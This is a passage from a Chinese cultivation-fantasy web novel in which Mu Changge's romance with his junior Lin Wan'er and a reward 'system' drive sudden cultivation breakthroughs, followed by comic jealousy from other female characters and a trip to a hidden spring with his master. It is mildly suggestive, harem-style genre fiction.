这个小师妹牛哇,自己和师姐费了那么多心思,都未搞定慕前辈,她怎么做到的? 陆婉莹眼里满是崇拜的光芒,回头非要找小师妹讨教一下经验。 哪像大师姐似的,笨死了,甚至浪费了自己之前的助攻。 一旁的白芷,只是茫然地眨着眼,未曾回过神。 这就是后来居上么? 呼! 双手握住烈火剑的雷烈,剑身上的火焰瞬间熄灭,他整个人僵住,声音发颤,“师兄,难道...你....” “不错。” 慕长歌坦然点头,还顺手拍了拍林婉儿的背。 他叹了口气,“那时情况特殊,我不得不那样做,既然做了,又岂可伤了这丫头的心。” 啪! 长剑落地。 雷烈张大嘴,似缺氧的鱼,半晌发不出一点声音。 他转身蹲在地上画起了圈圈。 慕长歌皱眉,“雷师弟,你在干嘛?” “画圈圈。” “做什么?” “诅咒你。” “我去尼玛的!” 慕长歌飞起一脚,将这位天剑锋首座踹了个狗吃屎。 雷烈坐下地上,三番几次的欲言又止,就是不知说什么。 自己这师兄也不是冲动的人,可对人家一个弟子晚辈,做了那种事,他都不好评说。 这要让宗门其他人知道了,成何体统。 慕长歌上前,将他扶了起来,“雷师弟,将婉儿交给你,是为兄信任你,不日,我还要离开,有更重要的事等着我去做。” 他面容逐渐严肃,“此事,事关整个修真界的安危。” “可是那天魔门?” 望着慕长歌点头,雷烈紧锁着眉头,“师兄此去,应该是要离开北域了,碧霄宫虽比以往落寞了些,但我们还没死绝。” 他拍了拍胸膛,“若事不可为,还有我们这些不争气的师弟师妹,大不了咱们拼他个鱼死网破!” 慕长歌微微一怔,随即轻笑出声。 这个疯子能说出这番话,看来知道的比他想象中要多。 也是,平日这个疯子再怎么不靠谱,也是天剑锋的首座。 而且以雷烈的资质,假以时日未必不能达到天元剑尊的高度,从而再现天剑锋的辉煌。 “师兄,今日你我痛饮一番如何?” 沉默后,雷烈突然道。 夕阳下。 天剑锋的断崖边,两道身影并肩而坐。 慕长歌仰头灌了口酒,喉结滚动间,酒液顺着下巴滑落。 他随后抹去,目光投向远方的云海,“师弟,这些年,辛苦你了,为兄何尝不知,大大咧咧只是你的表象。” “师兄说这话就见外了,再现天剑锋辉煌是我一峰首座的责任,就是师弟我不争气,比不得当年的天元剑尊。” 他难得露出正经神色,顿了顿,“其实,我一直觉得师兄这些年是在韬光养晦。” “哦?” 慕长歌挑眉。 “以师兄的与众不同,又岂会停留在区区的金丹境,婉儿不过十八岁,都达到了这等境界。” 他眼中闪烁追忆,“我入门时那一年,魔门入侵碧霄宫,师兄凭借着金丹修为,斩了数不清的魔道高手。” 慕长歌轻笑一声,没有接话。 他又岂知,那时的自己已然通过秘术燃烧了气血,是小璃儿找来了各种灵丹妙药,又为他疗伤数年之久,才堪堪恢复了过来。 “不过...” 雷烈灌了口酒,继续道,“我只是没想到,清璃师姐不曾做到的事,被师兄一人一剑给做到了。” 北域天魔门,盘踞数千年的魔道巨擘,被他一人所灭,这个消息传出去,恐怕这个修真界都要震动。 他依旧是当年那个让他仰望的师兄。 先前去桃林,也是想着试探下这老登的实力,可没想到,化神实力的他,被一个阵法耍到了团团转。 从那日起,他就愈发觉得慕长歌在韬光养晦。 “我只是做了该做的事。” 慕长歌灌了口酒。 天魔门因他而生,必然因他而灭。 两人沉默片刻。 “师兄,四域之中各自有正道势力坐镇,与魔门互相制衡,虽然不清楚那三域情况如何,但比我们北域好了许多。” 雷烈皱着眉,“据说曾经那一战,那些魔物似有意针对我们北域,大部分高手,尽数围聚咱们这一带。” 他点到为止。 这番话是在提醒慕长歌,北域高手损失惨重,其他三域并不见得,以及包括那些魔门。 也就是说,那三域的凶险程度,远远超过了北域。 慕长歌目光深邃。 东域有太虚观,西域有万佛宗,南域有玄天剑派,都是传承万年的大宗门。 只是过了数千年,他们身在北域,难以知晓那边的状况如何。 如今的北域,只有碧霄宫尚能抗起正道大旗。 “师兄打算先去哪一域?” 雷烈问道。 “东域太虚观。” 慕长歌抬头看天,“他们的周天星斗大阵,对镇压魔气有奇效,联合他们彻底剿灭此处魔门根基,是个不错的选择。” 雷烈点点头,欲言又止。 “有话就说。” 慕长歌瞥他一眼。 “那个,师兄啊...” 雷烈搓了搓手,“太虚观的裴雪烟仙子,据说美若天仙,你看这水月师妹和圣主师姐那边还没搞定,这要是再多一个?” 噗! 慕长歌一口酒喷了出来,作势要打。 雷烈连忙躲开,两人笑闹一阵,气氛轻松了不少。 夜色渐浓,酒壶也见了底。 “师兄,你离开那日,我就不送你了。” 他醉醺醺地搭着慕长歌肩膀,“我怕忍不住会哭出来。” 慕长歌嫌弃地推开他。 “少来这套!” 雷烈傻笑两声,正色道,“师兄,保重!” “照顾好婉儿。” 他起身望向星空。 “放心。” 雷烈拍着胸脯保证,“谁敢欺负她,我打断他的腿!” 慕长歌失笑,遁起了一道流光。 他望着那个方向,久久未动,夜风吹散了他的醉意,也带走了最后一丝笑意。 “师兄,一定要活着回来啊....握草!” 一道火红色的流光降落在他脚下,灵光散去,是一柄通体赤红的长剑,赫然是一柄天级灵兵。 剑的名字,依旧叫做烈火。 雷烈很是感动,师兄对他这个师弟的关心还在的。 拔出烈火剑,剑身在月光下泛着赤红流光。 他仰天大笑,“哈哈哈,这才配得上本座的身混嘛!” 雷烈挥舞了下长剑,丝毫没注意到脚下的岩石因剑气震动出现裂痕。 咔嚓! “哎呀卧槽!” 雷烈脚下一空,整个人随着碎裂的岩石向着崖下坠落,声音在山谷间回荡,惊起一群夜鸟。 云端。 慕长歌摇摇头,身影消失原地。 咚咚咚! “谁啊?” 屋内传来少女慌乱的声音。 “是我。” 房门吱呀一声打开,林婉儿红着小脸站在门口,“前辈?” “随我去桃林。” 慕长歌揉着她脑袋道。 第201章 粉纱玉腿踏月来,桃林旧梦终成真 这么晚了,前辈要她去做什么? 该不会是... 似乎想到了某种可能,林婉儿心跳猛地漏了一拍。 她小脑袋里闪过无数画面。 那个小院房间里摇曳的灵光,温暖的怀抱,还有第一次那天... 不知不觉,她耳根烧得通红,手指绞起了衣角。 “怎么,不愿意?” 慕长歌见她呆立原地,微微皱眉。 她慌忙摇头,甜美一笑,“你等一下,我去换身衣服。” 砰! 房门关闭。 她捂着发烫的脸颊,脑海中天人交战。 穿什么好呢? 要不要...穿那件? 慕长歌站在门外,一脸莫名其妙,这丫头身上的衣服好好的,为什么要换? 片刻后,房门打开。 他抬头一看,登时愣住。 月光下,林婉儿穿着一袭淡粉纱裙,轻薄的面料隐约透出肌肤的莹白,裙摆只到膝盖上方,露出一双笔直修长的玉腿。 领口处精致的蝴蝶结下,隐约可见精致的锁骨,最要命的是,这丫头居然还穿了一双白色丝袜,衬得双腿更加诱人。 “前辈...” 她羞得不敢抬头,声音发颤,“我准备好了。” “还叫前辈?” 慕长歌收回视线,清了清嗓。 也不知这丫头哪来这一身衣物,且从上到下都非凡品,皆是黄阶极品的护身法衣。 她腿上的东西看似是丝袜,实则不然,那是由雪蚕丝与冰蛛丝交织而成,表面流转着淡淡的灵纹。 既柔韧,又具备防护能力。 “那...夫...夫君?” 林婉儿声若蚊蝇,俏脸如同火烧。 她低着头,脚尖在地上画着小圈,夜深人静时,她无数次幻想过这个画面,哪怕是在梦中,醒来也只是自己的一厢情愿。 可没想到...那个无数次期盼,梦幻中的场景居然实现了。 哪怕看着眼睛无比真实的慕长歌,她甚至觉得自己还在做梦。 慕长歌忍不住伸手抬手勾起她的下巴,对上那水润的眸子,“叫得不错。” 林婉儿睫毛轻颤,眼中既有羞涩,又带着几分期待。 她鼓起勇气,垫起脚尖在他脸上轻轻一啄,又迅速缩了回去,像只受精的小兔子。 慕长歌揽住她纤细的腰肢,在惊呼声中,两人化作一道流光划破夜空。 林婉儿将发烫的小脸埋在他胸前,倾听着有力的心跳,既甜蜜又忐忑。 裙摆随风飘扬,那双包裹在灵丝中的玉腿若隐若现,在月光下泛着莹润的光泽。 与此,冷清霜站在崖边,望着那道划破夜空的流光,悄然握紧了粉拳,她指甲深陷掌心,浑然不觉痛。 身后响起轻微的脚步声,陆婉莹感叹道,“想不到咱们小师妹才是人生赢家啊。” 那丫头,这么大的事,居然瞒着她们几个师姐,实在太不够意思了,虽然拉拢到慕前辈对她们天剑锋大有好处,可... 那个人终究不是自己,心里的酸涩,止不住往上涌。 “师姐,发呆要是有用,还要主动做什么?” 闻言。 冷清霜不曾回头,“多嘴。” 她咬着下唇,眼中闪过一丝不甘。 水月仙子她忍了,那是宗门长辈,且不是她能比的。 圣主更不用说,身份摆在那里,足够配得上慕前辈的优秀,可...就是小师妹她都...而她却... 这便是修道路上的情劫么。 果然...滋味不是那么舒服。 冷清霜转身离去,背影在月光下格外孤寂。 陆婉莹望着师姐远去的身影,抬头看向天际,接过自己前面的话茬,“发呆是无用,但、至少可以让自己清净一些。” 一只温暖的手搭在她的肩膀,她回过头,对上白芷温柔的目光。 “二师姐,你也来了?” 她勉强挤出一丝笑容。 白芷轻轻叹息,“想哭就哭吧。” “才不要哭。” 她倔强地别过脸,却在下一秒猛地扑进白芷怀里,放声痛哭,“呜呜....为什么是小师妹...” 白芷轻拍她的背,目光飘向远处的桃林。 良久,她开口,“婉莹,你说我们要不要背叛师门?” 陆婉莹抬起泪眼,一脸茫然。 只见自家一向不擅言语的师姐,红唇勾起一抹狡黠。 “这样,咱们就有机会了。” 陆婉莹哭声戛然而止,眼中渐渐亮起异样的光彩。 话未出口,就被掩住了唇瓣。 白芷做了个噤声动作,眼中闪烁着危险的光芒,“有些事,说出来就不灵了。” 两人相视一笑,默契地望向桃林。 夜风吹拂,带走了她们的窃窃私语,吹不散那颗蠢蠢欲动的心。 毕竟,她们谁都不能接受,林婉儿这个小师妹,摇身一变就成了她们的师伯母。 既然那丫头能得手,她们也行。 桃林小院。 林婉儿站在院中,深吸一口气,周围萦绕着熟悉的桃花香。 “好久不曾来过这里了,依旧那么香。” 她转身看向慕长歌,脸颊微红,“夫君可知,今日之场景,婉儿幻想了多久?” 想到曾经为了激活系统,不得以对这丫头做了那种事,慕长歌心中就是一阵愧疚。 期间,他想过用灵宝补偿,又给了她功法,灵丹之类的资源,可最终...出去历经了一番凡尘,让他看得更加通透了些。 既是有意,又何必辜负? 慕长歌轻叹一声,正要开口,被一根纤细的手指,抵住了唇。 “夫君什么都不用说。” 她眼中含着温柔的笑意,“婉儿都明白,能再次回到桃林,我已经很开心了,我们进屋吧,婉儿给你泡茶。” 望着她的背影,慕长歌舒展开眉头,焕发了一抹笑意。 似是短短半年的时间,他看到了这丫头的成长,已然成熟稳重了许多,颇具世俗大家闺秀风范。 屋内,林婉儿指尖轻点,几道灵光从她指尖飞出,化作点点星火悬浮在空中,将整个房间照耀得温暖明亮。 她熟门熟路地取出茶具,动作轻柔地煮水。 慕长歌看着她忙碌的身影,恍惚间看到了过去那个怯生生的小丫头,只是如今...像极了这里的女主人。 林婉儿端茶过来,出口的第一个字就是前、只不过又连忙改口,俏脸微红地喊了声夫君。 慕长歌轻饮一口,目光在她身上打量,看得林婉儿娇羞不已,实则,某人此刻心神正在勾连系统,询问这丫头的潜力是否能够开发。 “夫君,婉儿心有疑惑,不知你可否为我解惑?” 见慕长歌放下茶杯,她眼睛里眨巴着些许俏皮,看他点头,林婉儿道,“你...当时可是故意的?” “呃...” 慕长歌自然知道这丫头说的是第一次见面的事。 扑哧! 望着他的窘态,林婉儿忍不住一笑。 “是谁跟人家说自己寿元无己了呢?” 她娇嗔得翻了个白眼,纤纤玉手点在慕长歌鼻尖,动作妩媚又带着俏皮,“骗子。” “呃...” 慕长歌握住她的手腕,认真道,“其实...我当时并没有骗你。” “我能信你吗?” 她眨着眼,红唇微翘。 这个坏蛋,伪装成老人就算了,还说自己寿元无己,尤其以那样羞人的方式,帮她打破了修为瓶颈之后... 好长一段时间,她都在担心这位前辈损失太多元气,会不会突然殒命。 直到看到他后来的表现,哪还不知自己上当了。 “这个可以信。” 慕长歌看着她狐疑的眼神,尴尬了摸了摸鼻子。 “嘘。” 林婉儿做了个噤声动作,掩住他的唇,凑近他耳边,“我要你慢慢跟我解释~” 温热的呼吸拂过耳垂,慕长歌顺势揽住她的腰肢,两人步伐交错,向着身后退去。 第202章 桃林三日天下惊,谁家金丹化神龙 纱裙悄然滑落肩头,肌肤在灵光映照下泛着淡淡的光泽。 “夫君....” 她声音轻颤,蕴含着羞怯之意,“这次...可不准再骗人了....” 灵光笼罩,将两人身影覆盖。 夜风吹拂,桃林簌簌作响,粉白花瓣纷纷扬扬洒落,有几片穿过窗棂,却在触及灵光屏障,被一股无形的力量轻柔弹开。 月光将整个小院覆盖在朦胧光晕中,远处山间的灵泉叮咚作响,似在应和着什么。 偶尔有几只夜莺飞过,又在靠近小院时突然噤声,扑凌着翅膀慌乱逃离。 桃林深处,几株含苞待放的花蕾绽放开来,散发出醉人的芬芳,灵雾不知何时悄然升起,在月光下流转着七彩霞光。 更远处的天剑锋上,一道火红色身影,依旧坐在那个崖边,他身前悬浮着铜镜。 “啧啧啧...” 雷烈摇头晃脑,“师兄这结界射的,连我的玄光镜都看不透。” 话音刚落,那玄光境似是遭遇了某种力量冲击,轰地一声炸开了,雷烈惨叫一声,身影再次向悬崖下坠落。 三日后,晨光破晓。 慕长歌挥手散去床榻四周的灵光,露出林婉儿盘膝而坐的身影。 “叮!恭喜宿主激发林婉儿潜力,当前气运值100000,已尽数返还宿主,且获得奖励灵虚诀下卷,已自动融合上卷。” “恭喜宿主建立双修羁绊,她修炼你变强,获得修为反哺50%。” “恭喜宿主修为突破,当前境界:法相境三阶!” “三阶么?” 慕长歌撇了撇嘴,有些不满足,三日的光阴,他只突破了两阶,而林婉儿那丫头,却是从初入金丹跨入了出窍巅峰。 这等实力,已堪称宗门圣子圣女级别。 不过,林婉儿的提升并未就此止住,她似乎还在进一步冲击。 感受到她的气息稳步提升,且逐渐冲破瓶颈,慕长歌探出一指,“丫头,我再送你一场造化。” 指尖光芒化作流光,没入林婉儿识海。 几息后,她骤然睁开双眸,身影消失原地,再次现身时,已然矗立在桃林上空,手握一柄长剑,剑身散发着炙热的气息。 某一刻。 她双眸精芒绽放。 “火舞旋风!” 伴随着轻喝,林婉儿素手轻扬,剑身缠绕起赤红烈焰,化作一条火龙盘旋而上。 炽热的剑气搅动风云,整片桃林在火光照耀下极其耀眼。 那火龙越旋越快,最终化作一道通天火柱直冲云霄,林婉儿立于火柱中央,衣袂发翻飞,宛如火中仙子。 碧霄宫各处,无数弟子长老纷纷抬头。 “快看桃林方向!” “那是...冲击化神的气息?!” “是谁在突破!” “肯定是方师兄,要么就是白师姐!” 随着一声尴尬的轻咳,数名弟子看到一名浑身绑着绷带的靓仔,就站立在他们身后。 通过轮廓,依稀可辨别出那人是方长。 方长身侧,是俏脸黢黑的白熙苒,她粉拳握至了滴血。 众弟子倒吸一口凉气,不是这两位,又是谁在突破化神境? “喂,你不是熟悉每个人的气息么,怎么看?” 白熙苒撇着嘴问道。 方长扯掉脸上的绷带,目光深邃,感知了片刻,“天剑锋,林婉儿林师妹。” “……” 白熙苒没回话,粉拳握得更紧了几分。 区区一个外门弟子,拜入天剑锋门下仅仅一年光景,即便昼夜不停地苦修,进境怎会恐怖到这等地步。 对于方长的感知,她也不做质疑,尽管她看这个家伙不怎么顺眼,那一身实力到底不容小觑。 天剑锋之巅。 雷烈负手而立,紧锁着眉头,目瞪口呆地看着这一幕。 三日由金丹冲击化神,这合理吗?! 师兄啊,你到底对她做了什么? 雷烈心中一万个问号,这般进境就是把各种灵丹妙药当成糖豆吃,也不可能做到的啊。 还有那丫头所使剑术,名为火舞旋风剑诀,乃是太上长老妙音自创的火属性剑道绝技。 虽是地阶品级,但主杀伐,适用大规模绞杀,威势不容小觑,就算他想学可始终找不到机会。 握草啊! 雷烈第一次对自己的性别产生了质疑,看看人家水月,再看看圣主,如今又是林婉儿。 唉! 先天优势,比不上啊。 雷烈颓废望天,今后别说超越了水月,他堂堂天剑锋首座,只要能不被后辈弟子反超,就保住颜面了。 闭关! 一定要闭关! 不破境,那就切叮叮一百下! 他给冷清霜传过音,身影消失在了原地。 广场上。 冷清霜三人并肩而立。 “小师妹她...这也太夸张了。” 陆婉莹低声喃喃,偷偷看了眼冷清霜。 自家大师姐不过在慕前辈归来的前一日,才突破了元婴八阶,被小师妹这番反超,且远远碾压在了后面,不知是何滋味。 白芷咬着唇,有些事真羡慕不来。 可...就算桃林中那柄飞剑打滑失控,不断撞击了其他人,她也要将其掰回到属于她的道路。 待那见血之日,一切便可,值得期待! 她不仅要成为修真界第一阵法师,更要成为剑道大能,能助她达成心之所愿的人只有他! “师父闭关了,天剑锋交给你们了。” 冷清霜丢下这句话就走了。 望着天际的流光,陆婉莹和白芷纷纷傻眼。 不是,师父去闭关,传音将天剑锋交给大师姐你,反而又交给她们是何道理? 还有,就算师姐你去闭关,那也追敢不上啊,你就没看出来,千般万般苦修,不如去桃林住上几晚? 嗯? 陆婉莹和白芷似乎想到了什么。 两女彼此对视一眼,各自掩住了娇唇。 这岂不是说不止是水月仙子,就连圣主也跟慕前辈,是那种彼此深入了解过的了? 主殿上空。 叶灵曦眉头突然一蹙。 短短三日,这个混蛋下了多少血本! 何况林婉儿,只是宗门内的一名弟子,这老登...怎么下得去嘴? 与此,她眼中倒映着林婉儿挥出来的火龙剑势骤然分散,化作无数火蝶四散飞舞。 每一只蝴蝶皆蕴含着凌厉剑气,所过之处空间扭曲。 “破!” 一声轻叱,火蝶齐齐爆裂,绚烂的火光中,一道璀璨光柱自林婉儿体内冲天而起。 轰隆隆! 天地灵气疯狂汇聚,在她头顶形成巨大的灵气漩涡。 “叮!林婉儿修为突破化神,宿主获得反哺,当前境界:法相境五阶!” 伴随着暖洋洋的气息充斥着四肢百骸,慕长歌脸上露出了笑意。 这丫头,总算没枉费他几十亿的付出。 他又掐了个法诀,调动四周的天地灵气。 感受到那些灵气,林婉儿立即舒展开双臂,于高空之中合拢双目,引灵力入体,以此稳固迅速提升的修为。 “师尊!” 白熙苒来到叶灵曦身旁,“弟子想提升修为,望师尊准允!” 沉默过后,望着点头的叶灵曦,她欣喜难耐,就要飞向桃林。 一条翠绿色丝带将她束缚,身后传来清冷的声音。 “为师助你。” 一座绿色灵光牢笼将她禁锢,叶灵曦闪身其中。 很快,白熙苒的惨叫,惊呼,不断传了出来,跟过来的方长哈哈大笑,这女人也有今天? 爽! 笑声未止,方长惊咦一声,只因一条绿色的丝带穿过光幕,将他束缚,并拉扯了进去。 紧接着,是方长的各种哀嚎,以及... 碧霄...不值得。 第203章 圣主现身破温存,双耳齐揪火葬场 几个时辰后。 林婉儿睁开眼,周身澎湃的灵力渐渐平息,她低头看向自己的双手,指尖萦绕的灵光,让她几乎不敢相信。 这真的是自己的力量吗? 她居然就这般轻易的突破了化神,成了年轻一辈弟子中的最强者,而她也不过刚到十九岁。 能修行到这等境界的先辈,有哪个不是苦修了数百年? 这一切,都源自于他,若非遇上他,自己依旧是那个卡在练气期的外门弟子。 “夫君!” 她眼眶湿润了,化作一道流光,直扑站在屋檐下的慕长歌。 这一声呼喊包含了太多情感。 有惊喜,有感动,更有难以言喻的依恋。 她像只归巢的雏鸟,一头扎进他怀里,纤细的手臂紧紧环住他的腰身,生怕一松手,眼前的人就会消失。 慕长歌被她撞得后退半步,随即失笑。 他轻抚怀中少女如瀑的青丝,感受着颤抖的娇躯。 化神期的大修士了,却还像个孩子。 “丫头,从今以后,你便是真正的脱胎换骨。” 他噙着淡淡的笑,“今后莫要懈怠了修行。” 林婉儿在他胸前用力点头,心中比较好奇,夫君到底是什么人。 无论是火舞旋风剑诀,还是那部灵虚诀都非凡品,她不知夫君从哪里得来的这种功法。 尤其是灵虚诀,她根本感受不到品级,似乎按照那部心法修炼,她永远遇不上瓶颈。 嗡! 慕长歌手中闪过一道璀璨灵光,一柄通体晶莹的长剑缓缓浮现,剑身如秋水澄澈,剑锋流转着银色符文。 林婉儿心下惊骇,她看出那是天阶灵兵。 天呐。 自己这是找了个什么样的夫君啊,她简直怀疑自己抱上了一座宝库,要什么有什么。 比如,功法...丹药...秘术... 更重要的是,还有... ——性福! 她看着慕长歌失神,眼前的男人,那就是一块发着光的肥肉。 慕长歌见她发呆,抬手敲打她脑壳。 林婉儿哎呦一声,欣喜地接过,不确定地问,“夫君这是给我的?” “你若是不想要,那就....” 慕长歌话说一半,就听她连忙道,“要要要!我要!夫君给我~” 灵光闪过,没入她的储物戒。 随后,慕长歌就感受到一只手指,点在他胸口处,“我知晓夫君还有要事去做,此次回来,是想给婉儿一个交代吧?” 望着慕长歌皱起的眉头,她觉得自己猜对了,便笑道,“虽然我不知具体什么事,但夫君肯定是在针对魔门。” “婉儿日后会好生修炼,只是....” 她面露为难,“我可还要回天剑峰?” 林婉儿觉得自己眼下的局面很尴尬,本来是雷烈的弟子,经过慕长歌光明正大的一番芯里辅导,她就成了雷烈的师嫂。 就是大师姐她们....都要喊她一声师伯嫂。 扑哧! 她忽然笑了。 如今的自己,也是化神境了,回不回天剑峰已经无所谓了。 慕长歌皱了皱眉头,正要给她答案,却见她手指掩住他的唇,娇小的身子凑了过来。 “夫君~婉儿身体有些不适,劳烦夫君回房间帮我看看~” 她吐息温热,带着淡淡的桃花香。 “师兄,好雅兴。” 一道清冷的声音自天际传来。 林婉儿僵硬地转过身体,那双一道翠绿身影踏空而立。 这...圣主什么时候来的? 完啦! 这岂不是全被圣主看见了、 她窘迫到恨不能找个地缝钻下去。 慕长歌倒是神色如常,只是嘴角微微抽了抽,他从这女人眼里看到了燃烧的醋意。 “林婉儿见过圣主。” 反应过来后,她赶忙行礼。 叶灵曦神色平静,看不出喜怒,“修行突破,对碧霄宫而言是好事,修行之路漫长,戒骄戒躁,莫要因一时得意而懈怠。” “谨记圣主教诲。” 林婉儿很机灵,并没有因为修为的突破,以及拥有慕长歌的庇佑就目中无人。 相反,依旧是个门中小弟子做派,只因良好的态度是首要因素。 这样既能讨夫君喜欢,又不至于惹圣主厌烦。 果然,叶灵曦那看似不变的面色,内里缓和了许多。 她点点头,“雷师弟闭关,天剑锋事务暂无人打理,你且回去,这段时日就由你照看。” 林婉儿傻眼。 雷烈闭关,还有冷清霜,况且她还想着继续闭关,提升修为呢。 “有问题?” 叶灵曦眸光微变。 林婉儿小脑袋摇成了拨浪鼓,“谨遵圣主之命。” “无需你耗费太多心神,只需照看即可。” 叶灵曦嘴角焕发一抹笑意,似有所指,“往后若无外人,喊我姐姐便是,去吧。” 她一挥手,翠绿色的灵光裹胁着林婉儿向着天剑锋飞去。 圣主那话什么意思? 莫非? 林婉儿杏眸圆睁。 果然,圣主被拿下了! 还好自己没有造次,就是不知夫君他...会不会被圣主修理一顿。 “那个,师妹,其实我可以解释。” 慕长歌讪笑着挠头。 自从他打算接受林婉儿那刻起,就没打算继续隐瞒。 “解释什么?” 叶灵曦打断他,揪住他耳朵,“你对她倒是舍得?” “呃...这个...巧合,纯属巧合。” 慕长歌讪笑,“师妹啊,要不你先松个手,为兄慢慢跟你说?” 哼! 叶灵曦挑眉,真要松了手,这家伙怕不是一个遁术就逃了。 更何况事已至此,解释有什么用。 她只是比较好奇,这个林婉儿到底是什么时候跟他有了非比寻常的关系。 很快,叶灵曦呼吸一滞。 她懂了。 难怪林婉儿在外门时,会夺得大比的头筹,难怪她当时卡在瓶颈会突破。 原来这一切,都是她这师兄搞的鬼。 只是当时她没往这个层面去想,现在想想,这家伙还真可恨。 “师兄,你很好啊。” 她斜睨着慕长歌,“林婉儿当时不过是外门弟子,以你的身份,就算...就算你...有啥需求,也不能...不能...呸!” 叶灵曦唾了一口,为他感到了脸红,指尖捏的力道大了些许,“怎么?师兄无话可说了?” “……” 他有话,你倒是让说啊? “就是!” 又是一道声音自虚空方向传来。 水月现出踪迹,揪住慕长歌另外一边耳朵,“师姐,我看咱们姐妹就该好好给他长长记性,不然会以为这碧霄宫是他的后花园呢。” “师兄,那沈碧瑶呢?” 水月笑眯了眼,“你可对人家做了什么?” “没有!绝对没有!” “天剑峰那几个姐妹呢?” “更没有!” 慕长歌擦着额头上的汗。 水月嗤笑,“师姐,你可信?” 叶灵曦摇头。 啪! 一个响指。 水月不怀好意地看向慕长歌,对叶灵曦道,“师姐,多说无益,你我姐妹要对他严刑逼供才行。” 叶灵曦点头同意,两女拉扯着慕长歌进了房间。 结界笼罩桃林。 不一会儿,传出慕长歌凄惨的声音。 第204章 逆徒装乖反被擒,月华裙褪入灵泉 这番惨无人道的修行,持续了数日之久,当两女离开时,慕长歌目光空洞地望着房顶。 说好的严刑逼供,就真的是严刑逼供,一点不带弄虚作假的。 不过收获嘛,也是有的。 慕长歌感受了下自身法相八阶的修为,差不多又要到了再次离开之时,他盘膝而坐,专注着调息。 桃林外,数十道倩影徘徊在结界边缘,这些女弟子个个眼含期待,时不时向结界内张望。 一名紫衣女弟子道,“明明是我先来的,要进也是我先进!” “呵,来桃林凭的是机缘,不是比谁先到的!” 旁边蓝裙女子冷笑,“慕前辈最讨厌没规矩的人!” “你们吵什么?” 另外一人插嘴道,“要我说,大家轮流进去请教就是,惹得前辈厌烦,我们谁都没好果子吃。” “呸!谁不知道你们安的什么心,请教是假,想攀高枝是真吧?” 众人争执不下,忽然同时噤声,一股浩瀚如渊的气息从天而降,压得她们喘不过气来。 “你们各自不去修炼,扰我徒儿清净做甚?” 妙音踏空而立,素白长裙随风轻舞。 与往日随意的轻纱不同,今日她身穿月华流仙裙,腰间束着鎏金丝带,发间一支碧玉簪。 “见过太上长老!” 众女慌忙行礼。 领头的女弟子支支吾吾,“我们是想...是想...” 不等她说完,就见妙音挥了挥手,而后众人如蒙大赦,逃也似的离开桃林。 妙音望着她们远去的背影,眸中闪过一丝复杂,自从林婉儿突破,整个碧霞宫都知道了她那徒儿的特殊之处。 床榻上。 慕长歌睁开眼,面露苦笑,他可不相信师尊来此,是为了替他赶人,所为何事有待深入了解。 他身影原地消失,再次出现时,来到了结界外。 “弟子恭迎师尊。” 慕长歌恭敬行礼,“不知师尊来此,是为....” “跟我来。” 妙音也不解释,玉手搭上了他肩膀。 下一刻。 两人化作流光冲天而起。 云端之上,慕长歌只觉香风扑面。 妙音的裙袂时不时拂过他脸颊,他偷偷瞥了眼身旁的师尊,发现她耳根有些泛红。 约莫半刻钟后,两人落在一处隐秘山谷。 这里被重重禁制笼罩,入口处立着块斑驳古碑,上书碧霄禁地四个苍劲大字。 慕长歌心头骇然,他在碧霄宫待了上千年,都不知此处有禁地,他相信不止是他,其他人亦然如此。 而且此处山谷被一座无形的阵法所隔绝,不仔细看很难看出端倪,又谈何知道禁地的存在。 即便是他,也要在天眼瞳洞穿虚妄之下,才能看到隐藏的阵法。 妙音双手结印,打出一道玄奥法诀,“此处自碧霄宫创立之初就已存在,只有历代圣主与太上长老能进。” 随着她话音落下,禁地光幕分开一道缝隙。 她转身看向慕长歌,勾了勾红唇,“今日为师破例带你进去。” 慕长歌心头微动,他注意到妙音说这话时,纤细修长的睫毛轻轻颤动,似是在掩饰某种情绪。 穿过了禁制,眼前豁然开朗,这是一方独立的天地,眼前有座白玉砌成的灵池,池水泛着七彩霞光。 四周种满了奇花异草,其中不少都是外界绝迹的灵药。 最引人注目的是池边一株通体晶莹的奇树,树干如琉璃透明,枝叶间结着几枚龙眼大的金色果实。 “长歌,这便是后天极品灵根。” 妙音轻声道,“此灵根三千年一开花,再三千年结果,今日恰逢果实成熟,这等天地奇物,放在外界足以引起腥风血雨。” “师尊带弟子来此,莫非是采摘果子?” 慕长歌问道。 妙音走到灵池边,素手轻抚水面,“你可知为何碧霄宫历代圣主以及太上长老大部分是女子?” 慕长歌摇头,这个疑问确实困扰他多年。 “因为这池水。” 妙音转身,柔和的光芒洒在她绝美的容颜上,“此乃太阴灵泉,与太阴灵根所结的果子相辅相成。” “唯有女子能够承受其灵气,男子入内,轻则经脉尽毁,重则身死道消,清璃能够飞升,很大程度依赖于太阴灵泉与太阴果。” 似乎知道慕长歌还要问什么,她率先道,“当年我手中仅剩下一枚太阴果,也就交给了清璃服用,果然以那丫头的资质飞升了。” 慕长歌骇然,难怪师尊会觉得对他有所亏欠,有资源妙音是真的给啊。 虽然资源方面很难一碗水端平,就算换做他,也会偏向于云清璃,毕竟那丫头的资质摆在那。 那么师尊叫他过来的目的,是要借助这池水和灵果提升修为了? 慕长歌转过目光,就见妙音解下腰间丝带,月白长裙顺着光滑的香肩缓缓滑落。 他呼吸屏住,耳根发烫。 虽与师尊发生过超越了师徒之间的情谊,可如此放得开的师尊,倒让他多了些窘迫。 “长歌,还不过来?” 望着慕长歌不动,她干脆走到他面前,此刻她只余下一件轻纱小衣,曼妙曲线若隐若现。 妙音轻抚他脸颊,“为师观察你许久,以你的特殊体质,或许能打破太阴灵泉的禁忌。” 慕长歌这才明白她的用意,苦笑道,“师尊是想让弟子尝试?” “如今你是何等修为境界?” 妙音颔首默认。 慕长歌不做隐瞒,“法相境。” 妙音愣了愣,以她的猜想,这逆徒至少也是大乘境界,可没想到只是法相。 可偏偏就是法相境,一身实力出奇的强大,或许这就是转世大能,终究与她们这些平凡修士不同。 “此处灵泉加之太阴灵果,有望助你突破大乘境界,只是这灵泉与灵果皆是至阴属性。” 她顿了顿,又道,“所以,你需要有人帮你引导灵力。” 慕长歌心头狂跳。 他当然明白引导灵力意味着什么。 妙音似展颜一笑,“怎么?在为师的洞府就颇为大胆,出来了就装起乖巧来了?” “呃...” 慕长歌摸了摸鼻子,“弟子这不是想休息一下么、” 他欲哭无泪,铜皮铁骨也吃不消这般修行啊。 妙音翻了个白眼,“等你哪日被打死了,有的是时间休息!” 她一把拉住他手腕。 扑通! 水花四溅。 慕长歌被拽入了灵池。